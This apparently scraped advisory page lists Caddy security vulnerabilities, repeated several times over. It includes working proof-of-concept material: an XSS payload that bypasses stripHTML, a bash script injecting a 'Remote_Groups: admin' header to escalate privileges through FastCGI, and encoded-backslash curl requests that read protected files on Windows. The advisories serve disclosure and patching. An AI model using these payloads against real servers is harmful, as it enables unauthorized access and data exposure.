CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

May 10, 2018

v0.10.14 patch

5 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Apr 20, 2018

v0.10.13 patch

5 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
